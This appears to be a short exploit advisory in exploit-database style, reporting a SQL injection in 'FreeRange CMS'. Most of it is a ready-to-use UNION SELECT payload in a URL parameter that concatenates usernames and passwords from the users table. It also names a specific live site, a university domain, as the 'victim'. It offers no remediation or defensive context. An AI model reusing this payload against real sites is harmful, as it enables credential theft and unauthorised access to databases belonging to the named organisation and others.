######################################################### --------------------------------------------------------- Portal Name:FreeRange CMS Vendor: http://freerangedesign.com Author : Pouya_Server , Pouya.s3rver@Gmail.com Website: http://Pouya-Server.ir Vulnerability : SQL Injection Vulnerability --------------------------------------------------------- ######################################################### [SQL]: http://site.com/resources_for_nowal_members.php?page_id=-21%20union%20all%20select%201,2,3,concat(username,0x3a,password),5,6%20,7,8%20from%20users-- ----------------------------------- Victem : http://www.nowal.ac.uk --------------------------------------------------------- #########################################################